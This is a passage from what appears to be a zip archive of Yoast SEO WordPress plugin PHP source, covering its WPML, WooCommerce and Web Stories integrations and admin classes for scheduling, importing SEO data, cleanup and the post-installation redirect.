	 * This integration should only be active when WPML is installed and activated.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ WPML_Conditional::class ];
	}

	/**
	 * Notify the user that the Yoast SEO Multilingual plugin is not installed
	 * (when the WPML plugin is installed).
	 *
	 * Remove the notification again when it is installed.
	 *
	 * @return void
	 */
	public function notify_not_installed() {
		if ( ! $this->wpml_wpseo_conditional->is_met() ) {
			$this->notification_center->add_notification( $this->get_notification() );
			return;
		}
		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}

	/**
	 * Generates the notification to show to the user when WPML is installed,
	 * but the Yoast SEO Multilingual plugin is not.
	 *
	 * @return Yoast_Notification The notification.
	 */
	protected function get_notification() {
		return new Yoast_Notification(
			\sprintf(
				/* translators: %1$s expands to an opening anchor tag, %2$s expands to an closing anchor tag. */
				\__( 'We notice that you have installed WPML. To make sure your canonical URLs are set correctly, %1$sinstall and activate the WPML SEO add-on%2$s as well!', 'wordpress-seo' ),
				'<a href="' . \esc_url( $this->short_link_helper->get( 'https://yoa.st/wpml-yoast-seo' ) ) . '" target="_blank">',
				'</a>'
			),
			[
				'id'   => self::NOTIFICATION_ID,
				'type' => Yoast_Notification::WARNING,
			]
		);
	}
}
PK       ! q]ں%  %    third-party/woocommerce.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Pagination_Helper;
use Yoast\WP\SEO\Helpers\Woocommerce_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * WooCommerce integration.
 */
class WooCommerce implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The WPSEO Replace Vars object.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	protected $context_memoizer;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $repository;

	/**
	 * The pagination helper.
	 *
	 * @var Pagination_Helper
	 */
	protected $pagination_helper;

	/**
	 * The WooCommerce helper.
	 *
	 * @var Woocommerce_Helper
	 */
	private $woocommerce_helper;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ WooCommerce_Conditional::class, Front_End_Conditional::class ];
	}

	/**
	 * WooCommerce constructor.
	 *
	 * @param Options_Helper             $options            The options helper.
	 * @param WPSEO_Replace_Vars         $replace_vars       The replace vars helper.
	 * @param Meta_Tags_Context_Memoizer $context_memoizer   The meta tags context memoizer.
	 * @param Indexable_Repository       $repository         The indexable repository.
	 * @param Pagination_Helper          $pagination_helper  The paginataion helper.
	 * @param Woocommerce_Helper         $woocommerce_helper The WooCommerce helper.
	 */
	public function __construct(
		Options_Helper $options,
		WPSEO_Replace_Vars $replace_vars,
		Meta_Tags_Context_Memoizer $context_memoizer,
		Indexable_Repository $repository,
		Pagination_Helper $pagination_helper,
		Woocommerce_Helper $woocommerce_helper
	) {
		$this->options            = $options;
		$this->replace_vars       = $replace_vars;
		$this->context_memoizer   = $context_memoizer;
		$this->repository         = $repository;
		$this->pagination_helper  = $pagination_helper;
		$this->woocommerce_helper = $woocommerce_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_frontend_page_type_simple_page_id', [ $this, 'get_page_id' ] );
		\add_filter( 'wpseo_breadcrumb_indexables', [ $this, 'add_shop_to_breadcrumbs' ] );

		\add_filter( 'wpseo_title', [ $this, 'title' ], 10, 2 );
		\add_filter( 'wpseo_metadesc', [ $this, 'description' ], 10, 2 );
		\add_filter( 'wpseo_canonical', [ $this, 'canonical' ], 10, 2 );
		\add_filter( 'wpseo_adjacent_rel_url', [ $this, 'adjacent_rel_url' ], 10, 3 );
	}

	/**
	 * Returns the correct canonical when WooCommerce is enabled.
	 *
	 * @param string                      $canonical    The current canonical.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The correct canonical.
	 */
	public function canonical( $canonical, $presentation = null ) {
		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $canonical;
		}

		$url = $this->get_shop_paginated_link( 'curr', $presentation );

		if ( $url ) {
			return $url;
		}

		return $canonical;
	}

	/**
	 * Returns correct adjacent pages when WooCommerce is enabled.
	 *
	 * @param string                      $link         The current link.
	 * @param string                      $rel          Link relationship, prev or next.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The correct link.
	 */
	public function adjacent_rel_url( $link, $rel, $presentation = null ) {
		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $link;
		}

		if ( $rel !== 'next' && $rel !== 'prev' ) {
			return $link;
		}

		$url = $this->get_shop_paginated_link( $rel, $presentation );

		if ( $url ) {
			return $url;
		}

		return $link;
	}

	/**
	 * Adds a breadcrumb for the shop page.
	 *
	 * @param Indexable[] $indexables The array with indexables.
	 *
	 * @return Indexable[] The indexables to be shown in the breadcrumbs, with the shop page added.
	 */
	public function add_shop_to_breadcrumbs( $indexables ) {
		$shop_page_id = $this->woocommerce_helper->get_shop_page_id();

		if ( ! \is_int( $shop_page_id ) || $shop_page_id < 1 ) {
			return $indexables;
		}

		foreach ( $indexables as $index => $indexable ) {
			if ( $indexable->object_type === 'post-type-archive' && $indexable->object_sub_type === 'product' ) {
				$shop_page_indexable = $this->repository->find_by_id_and_type( $shop_page_id, 'post' );
				if ( \is_a( $shop_page_indexable, Indexable::class ) ) {
					$indexables[ $index ] = $shop_page_indexable;
				}
			}
		}

		return $indexables;
	}

	/**
	 * Returns the ID of the WooCommerce shop page when the currently opened page is the shop page.
	 *
	 * @param int $page_id The page id.
	 *
	 * @return int The Page ID of the shop.
	 */
	public function get_page_id( $page_id ) {
		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $page_id;
		}

		return $this->woocommerce_helper->get_shop_page_id();
	}

	/**
	 * Handles the title.
	 *
	 * @param string                      $title        The title.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The title to use.
	 */
	public function title( $title, $presentation = null ) {
		$presentation = $this->ensure_presentation( $presentation );

		if ( $presentation->model->title ) {
			return $title;
		}

		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $title;
		}

		if ( ! \is_archive() ) {
			return $title;
		}

		$shop_page_id = $this->woocommerce_helper->get_shop_page_id();
		if ( $shop_page_id < 1 ) {
			return $title;
		}

		$product_template_title = $this->get_product_template( 'title-product', $shop_page_id );
		if ( $product_template_title ) {
			return $product_template_title;
		}

		return $title;
	}

	/**
	 * Handles the meta description.
	 *
	 * @param string                      $description  The title.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The description to use.
	 */
	public function description( $description, $presentation = null ) {
		$presentation = $this->ensure_presentation( $presentation );

		if ( $presentation->model->description ) {
			return $description;
		}

		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $description;
		}

		if ( ! \is_archive() ) {
			return $description;
		}

		$shop_page_id = $this->woocommerce_helper->get_shop_page_id();
		if ( $shop_page_id < 1 ) {
			return $description;
		}

		$product_template_description = $this->get_product_template( 'metadesc-product', $shop_page_id );
		if ( $product_template_description ) {
			return $product_template_description;
		}

		return $description;
	}

	/**
	 * Uses template for the given option name and replace the replacement variables on it.
	 *
	 * @param string $option_name  The option name to get the template for.
	 * @param string $shop_page_id The page id to retrieve template for.
	 *
	 * @return string The rendered value.
	 */
	protected function get_product_template( $option_name, $shop_page_id ) {
		$template = $this->options->get( $option_name );
		$page     = \get_post( $shop_page_id );

		return $this->replace_vars->replace( $template, $page );
	}

	/**
	 * Get paginated link for shop page.
	 *
	 * @param string                      $rel          Link relationship, prev or next or curr.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string|null The link.
	 */
	protected function get_shop_paginated_link( $rel, $presentation = null ) {
		$presentation = $this->ensure_presentation( $presentation );

		$permalink = $presentation->permalink;
		if ( ! $permalink ) {
			return null;
		}

		$current_page = \max( 1, $this->pagination_helper->get_current_archive_page_number() );

		if ( $rel === 'curr' && $current_page === 1 ) {
			return $permalink;
		}

		if ( $rel === 'curr' && $current_page > 1 ) {
			return $this->pagination_helper->get_paginated_url( $permalink, $current_page );
		}

		if ( $rel === 'prev' && $current_page === 2 ) {
			return $permalink;
		}

		if ( $rel === 'prev' && $current_page > 2 ) {
			return $this->pagination_helper->get_paginated_url( $permalink, ( $current_page - 1 ) );
		}

		if ( $rel === 'next' && $current_page < $this->pagination_helper->get_number_of_archive_pages() ) {
			return $this->pagination_helper->get_paginated_url( $permalink, ( $current_page + 1 ) );
		}

		return null;
	}

	/**
	 * Ensures a presentation is available.
	 *
	 * @param Indexable_Presentation $presentation The indexable presentation.
	 *
	 * @return Indexable_Presentation The presentation, taken from the current page if the input was invalid.
	 */
	protected function ensure_presentation( $presentation ) {
		if ( \is_a( $presentation, Indexable_Presentation::class ) ) {
			return $presentation;
		}

		$context = $this->context_memoizer->for_current_page();

		return $context->presentation;
	}
}
PK       ! mFk  k    third-party/wpml.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * WPML integration.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Known false positive with acronyms. Fix expected in YoastCS 3.x.
 */
class WPML implements Integration_Interface {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_home_url', [ $this, 'filter_home_url_before' ] );
		\add_filter( 'home_url', [ $this, 'filter_home_url_after' ], 100 );
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ WPML_Conditional::class ];
	}

	/**
	 * Adds a filter to WPML's wpml_get_home_url filter to ensure we get the unmanipulated home URL.
	 *
	 * @return void
	 */
	public function filter_home_url_before() {
		\add_filter( 'wpml_get_home_url', [ $this, 'wpml_get_home_url' ], 10, 2 );
	}

	/**
	 * Removes the wpml_get_home_url filter to return the WPML, language-enriched home URL.
	 *
	 * @param string $home_url The filtered home URL.
	 *
	 * @return string The unfiltered home URL.
	 */
	public function filter_home_url_after( $home_url ) {
		\remove_filter( 'wpml_get_home_url', [ $this, 'wpml_get_home_url' ], 10 );

		return $home_url;
	}

	/**
	 * Returns the original URL instead of the language-enriched URL.
	 * This method gets automatically triggered by the wpml_get_home_url filter.
	 *
	 * @param string $home_url The url altered by WPML. Unused.
	 * @param string $url      The url that isn't altered by WPML.
	 *
	 * @return string The original url.
	 */
	public function wpml_get_home_url( $home_url, $url ) {
		return $url;
	}
}
PK       ! ,    %  third-party/web-stories-post-edit.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Admin\Post_Conditional;
use Yoast\WP\SEO\Conditionals\Web_Stories_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Web Stories integration.
 */
class Web_Stories_Post_Edit implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Web_Stories_Conditional::class, Post_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_admin_l10n', [ $this, 'add_admin_l10n' ] );
	}

	/**
	 * Adds a isWebStoriesIntegrationActive variable to the Adminl10n array.
	 *
	 * @param array $input The array to add the isWebStoriesIntegrationActive to.
	 *
	 * @return array The passed array with the additional isWebStoriesIntegrationActive variable set to 1 if we are editing a web story.
	 */
	public function add_admin_l10n( $input ) {
		if ( \get_post_type() === 'web-story' ) {
			$input['isWebStoriesIntegrationActive'] = 1;
		}
		return $input;
	}
}
PK       !        admin/cron-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Date_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Cron_Integration class.
 */
class Cron_Integration implements Integration_Interface {

	/**
	 * The indexing notification integration.
	 *
	 * @var Date_Helper
	 */
	protected $date_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Cron_Integration constructor
	 *
	 * @param Date_Helper $date_helper The date helper.
	 */
	public function __construct(
		Date_Helper $date_helper
	) {
		$this->date_helper = $date_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		if ( ! \wp_next_scheduled( Indexing_Notification_Integration::NOTIFICATION_ID ) ) {
			\wp_schedule_event(
				$this->date_helper->current_time(),
				'daily',
				Indexing_Notification_Integration::NOTIFICATION_ID
			);
		}
	}
}
PK       ! hՆ"  "    admin/import-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Import_Tool_Selected_Conditional;
use Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
use Yoast\WP\SEO\Routes\Importing_Route;
use Yoast\WP\SEO\Services\Importing\Importable_Detector_Service;

/**
 * Loads import script when on the Tool's page.
 */
class Import_Integration implements Integration_Interface {

	/**
	 * Contains the asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * The Importable Detector service.
	 *
	 * @var Importable_Detector_Service
	 */
	protected $importable_detector;

	/**
	 * The Importing Route class.
	 *
	 * @var Importing_Route
	 */
	protected $importing_route;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [
			Import_Tool_Selected_Conditional::class,
			Yoast_Tools_Page_Conditional::class,
		];
	}

	/**
	 * Import Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager   $asset_manager       The asset manager.
	 * @param Importable_Detector_Service $importable_detector The importable detector.
	 * @param Importing_Route             $importing_route     The importing route.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Importable_Detector_Service $importable_detector,
		Importing_Route $importing_route
	) {
		$this->asset_manager       = $asset_manager;
		$this->importable_detector = $importable_detector;
		$this->importing_route     = $importing_route;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_import_script' ] );
	}

	/**
	 * Enqueues the Import script.
	 *
	 * @return void
	 */
	public function enqueue_import_script() {
		\wp_enqueue_style( 'dashicons' );
		$this->asset_manager->enqueue_script( 'import' );

		$data = [
			'restApi' => [
				'root'                => \esc_url_raw( \rest_url() ),
				'cleanup_endpoints'   => $this->get_cleanup_endpoints(),
				'importing_endpoints' => $this->get_importing_endpoints(),
				'nonce'               => \wp_create_nonce( 'wp_rest' ),
			],
			'assets'  => [
				'loading_msg_import'       => \esc_html__( 'The import can take a long time depending on your site\'s size.', 'wordpress-seo' ),
				'loading_msg_cleanup'      => \esc_html__( 'The cleanup can take a long time depending on your site\'s size.', 'wordpress-seo' ),
				'note'                     => \esc_html__( 'Note: ', 'wordpress-seo' ),
				'cleanup_after_import_msg' => \esc_html__( 'After you\'ve imported data from another SEO plugin, please make sure to clean up all the original data from that plugin. (step 5)', 'wordpress-seo' ),
				'select_placeholder'       => \esc_html__( 'Select SEO plugin', 'wordpress-seo' ),
				'no_data_msg'              => \esc_html__( 'No data found from other SEO plugins.', 'wordpress-seo' ),
				'validation_failure'       => $this->get_validation_failure_alert(),
				'import_failure'           => $this->get_import_failure_alert( true ),
				'cleanup_failure'          => $this->get_import_failure_alert( false ),
				'spinner'                  => \admin_url( 'images/loading.gif' ),
				'replacing_texts'          => [
					'cleanup_button'       => \esc_html__( 'Clean up', 'wordpress-seo' ),
					'import_explanation'   => \esc_html__( 'Please select an SEO plugin below to see what data can be imported.', 'wordpress-seo' ),
					'cleanup_explanation'  => \esc_html__( 'Once you\'re certain that your site is working properly with the imported data from another SEO plugin, you can clean up all the original data from that plugin.', 'wordpress-seo' ),
					/* translators: %s: expands to the name of the plugin that is selected to be imported */
					'select_header'        => \esc_html__( 'The import from %s includes:', 'wordpress-seo' ),
					'plugins'              => [
						'aioseo' => [
							[
								'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ),
								'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ),
							],
							[
								'data_name' => \esc_html__( 'Default settings', 'wordpress-seo' ),
								'data_note' => \esc_html__( 'Note: These settings will overwrite the default settings of Yoast SEO.', 'wordpress-seo' ),
							],
						],
						'other' => [
							[
								'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ),
								'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ),
							],
						],
					],
				],
			],
		];

		/**
		 * Filter: 'wpseo_importing_data' Filter to adapt the data used in the import process.
		 *
		 * @param array $data The import data to adapt.
		 */
		$data = \apply_filters( 'wpseo_importing_data', $data );

		$this->asset_manager->localize_script( 'import', 'yoastImportData', $data );
	}

	/**
	 * Retrieves a list of the importing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_importing_endpoints() {
		$available_actions   = $this->importable_detector->detect_importers();
		$importing_endpoints = [];

		$available_sorted_actions = $this->sort_actions( $available_actions );

		foreach ( $available_sorted_actions as $plugin => $types ) {
			foreach ( $types as $type ) {
				$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
			}
		}

		return $importing_endpoints;
	}

	/**
	 * Sorts the array of importing actions, by moving any validating actions to the start for every plugin.
	 *
	 * @param array $available_actions The array of actions that we want to sort.
	 *
	 * @return array The sorted array of actions.
	 */
	protected function sort_actions( $available_actions ) {
		$first_action             = 'validate_data';
		$available_sorted_actions = [];

		foreach ( $available_actions as $plugin => $plugin_available_actions ) {

			$validate_action_position = \array_search( $first_action, $plugin_available_actions, true );

			if ( ! empty( $validate_action_position ) ) {
				unset( $plugin_available_actions[ $validate_action_position ] );
				\array_unshift( $plugin_available_actions, $first_action );
			}

			$available_sorted_actions[ $plugin ] = $plugin_available_actions;
		}

		return $available_sorted_actions;
	}

	/**
	 * Retrieves a list of the importing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_cleanup_endpoints() {
		$available_actions   = $this->importable_detector->detect_cleanups();
		$importing_endpoints = [];

		foreach ( $available_actions as $plugin => $types ) {
			foreach ( $types as $type ) {
				$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
			}
		}

		return $importing_endpoints;
	}

	/**
	 * Gets the validation failure alert using the Alert_Presenter.
	 *
	 * @return string The validation failure alert.
	 */
	protected function get_validation_failure_alert() {
		$content  = \esc_html__( 'The AIOSEO import was cancelled because some AIOSEO data is missing. Please try and take the following steps to fix this:', 'wordpress-seo' );
		$content .= '<br/>';
		$content .= '<ol><li>';
		$content .= \esc_html__( 'If you have never saved any AIOSEO \'Search Appearance\' settings, please do that first and run the import again.', 'wordpress-seo' );
		$content .= '</li>';
		$content .= '<li>';
		$content .= \esc_html__( 'If you already have saved AIOSEO \'Search Appearance\' settings and the issue persists, please contact our support team so we can take a closer look.', 'wordpress-seo' );
		$content .= '</li></ol>';

		$validation_failure_alert = new Alert_Presenter( $content, 'error' );

		return $validation_failure_alert->present();
	}

	/**
	 * Gets the import failure alert using the Alert_Presenter.
	 *
	 * @param bool $is_import Wether it's an import or not.
	 *
	 * @return string The import failure alert.
	 */
	protected function get_import_failure_alert( $is_import ) {
		$content = \esc_html__( 'Cleanup failed with the following error:', 'wordpress-seo' );
		if ( $is_import ) {
			$content = \esc_html__( 'Import failed with the following error:', 'wordpress-seo' );
		}

		$content .= '<br/><br/>';
		$content .= \esc_html( '%s' );

		$import_failure_alert = new Alert_Presenter( $content, 'error' );

		return $import_failure_alert->present();
	}
}
PK       ! 6+j  j  (  admin/activation-cleanup-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * This integration registers a run of the cleanup routine whenever the plugin is activated.
 */
class Activation_Cleanup_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Activation_Cleanup_Integration constructor.
	 *
	 * @param Options_Helper   $options_helper   The options helper.
	 * @param Indexable_Helper $indexable_helper The indexable helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Indexable_Helper $indexable_helper
	) {
		$this->options_helper   = $options_helper;
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Registers the action to register a cleanup routine run after the plugin is activated.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_activate', [ $this, 'register_cleanup_routine' ], 11 );
	}

	/**
	 * Registers a run of the cleanup routine if this has not happened yet.
	 *
	 * @return void
	 */
	public function register_cleanup_routine() {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return;
		}
		$first_activated_on = $this->options_helper->get( 'first_activated_on', false );

		if ( ! $first_activated_on || \time() > ( $first_activated_on + ( \MINUTE_IN_SECONDS * 5 ) ) ) {
			if ( ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
				\wp_schedule_single_event( ( \time() + \DAY_IN_SECONDS ), Cleanup_Integration::START_HOOK );
			}
		}
	}
}
PK       ! 5  5  +  admin/fix-news-dependencies-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WP_Screen;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\News_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Fix_News_Dependencies_Integration class.
 */
class Fix_News_Dependencies_Integration implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * In this case: when on an admin page.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, News_Conditional::class ];
	}

	/**
	 * Registers an action to disable script concatenation.
	 *
	 * @return void
	 */
	public function register_hooks() {
		global $pagenow;

		// Load the editor script when on an edit post or new post page.
		$is_post_edit_page = $pagenow === 'post.php' || $pagenow === 'post-new.php';
		if ( $is_post_edit_page ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'add_news_script_dependency' ], 11 );
		}
	}

	/**
	 * Fixes the news script dependency.
	 *
	 * @return void
	 */
	public function add_news_script_dependency() {
		$scripts = \wp_scripts();

		if ( ! isset( $scripts->registered['wpseo-news-editor'] ) ) {
			return;
		}

		$is_block_editor  = WP_Screen::get()->is_block_editor();
		$post_edit_handle = 'post-edit';
		if ( ! $is_block_editor ) {
			$post_edit_handle = 'post-edit-classic';
		}

		$scripts->registered['wpseo-news-editor']->deps[] = WPSEO_Admin_Asset_Manager::PREFIX . $post_edit_handle;
	}
}
PK       ! z8  8  *  admin/installation-success-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Installation_Success_Integration class
 */
class Installation_Success_Integration implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Installation_Success_Integration constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 * @param Product_Helper $product_helper The product helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Product_Helper $product_helper
	) {
		$this->options_helper = $options_helper;
		$this->product_helper = $product_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'admin_menu', [ $this, 'add_submenu_page' ], 9 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		\add_action( 'admin_init', [ $this, 'maybe_redirect' ] );
	}

	/**
	 * Redirects to the installation success page if an installation has just occurred.
	 *
	 * @return void
	 */
	public function maybe_redirect() {
		if ( \defined( 'DOING_AJAX' ) && \DOING_AJAX ) {
			return;
		}

		if ( ! $this->options_helper->get( 'should_redirect_after_install_free', false ) ) {
			return;
		}
		$this->options_helper->set( 'should_redirect_after_install_free', false );

		if ( ! empty( $this->options_helper->get( 'activation_redirect_timestamp_free', 0 ) ) ) {
			return;
		}
		$this->options_helper->set( 'activation_redirect_timestamp_free', \time() );

		// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
		if ( isset( $_REQUEST['activate-multi'] ) && $_REQUEST['activate-multi'] === 'true' ) {
			return;
		}

		if ( $this->product_helper->is_premium() ) {
			return;
		}

		if ( \is_network_admin() || \is_plugin_active_for_network( \WPSEO_BASENAME ) ) {
			return;
		}

		\wp_safe_redirect( \admin_url( 'admin.php?page=wpseo_installation_successful_free' ), 302, 'Yoast SEO' );
		$this->terminate_execution();
	}

	/**
	 * Adds the installation success submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array the filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		\add_submenu_page(
			'',
			\__( 'Installation Successful', 'wordpress-seo' ),
			'',
			'manage_options',
			'wpseo_installation_successful_free',
			[ $this, 'render_page' ]
		);

		return $submenu_pages;
	}

	/**
	 * Enqueue assets on the Installation success page.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_installation_successful_free' ) {
			return;
		}

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'installation-success' );
		$asset_manager->enqueue_style( 'tailwind' );
		$asset_manager->enqueue_style( 'monorepo' );

		$ftc_url = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );

		$asset_manager->localize_script(
			'installation-success',
			'wpseoInstallationSuccess',
			[
				'pluginUrl'                 => \esc_url( \plugins_url( '', \WPSEO_FILE ) ),
				'firstTimeConfigurationUrl' => $ftc_url,
				'dashboardUrl'              => \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard' ) ),
			]
		);
	}

	/**
	 * Renders the installation success page.
	 *
	 * @return void
	 */
	public function render_page() {
		echo '<div id="wpseo-installation-successful-free" class="yoast"></div>';
	}

	/**
	 * Wrap the `exit` function to make unit testing easier.
	 *
	 * @return void
	 */
	public function terminate_execution() {
		exit;
	}
}
PK       ! :*S<  <  .  admin/first-time-configuration-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WP_User;
use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Option_Tab;
use WPSEO_Shortlinker;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\General\User_Interface\General_Page_Integration;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Social_Profiles_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Routes\Indexing_Route;

/**
 * First_Time_Configuration_Integration class
 */
class First_Time_Configuration_Integration implements Integration_Interface {

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	private $addon_manager;

	/**
	 * The shortlinker.
	 *
	 * @var WPSEO_Shortlinker
	 */
	private $shortlinker;

	/**
	 * The options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The social profiles helper.
	 *
	 * @var Social_Profiles_Helper
	 */
	private $social_profiles_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * The meta tags context helper.
	 *
	 * @var Meta_Tags_Context
	 */
	private $meta_tags_context;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
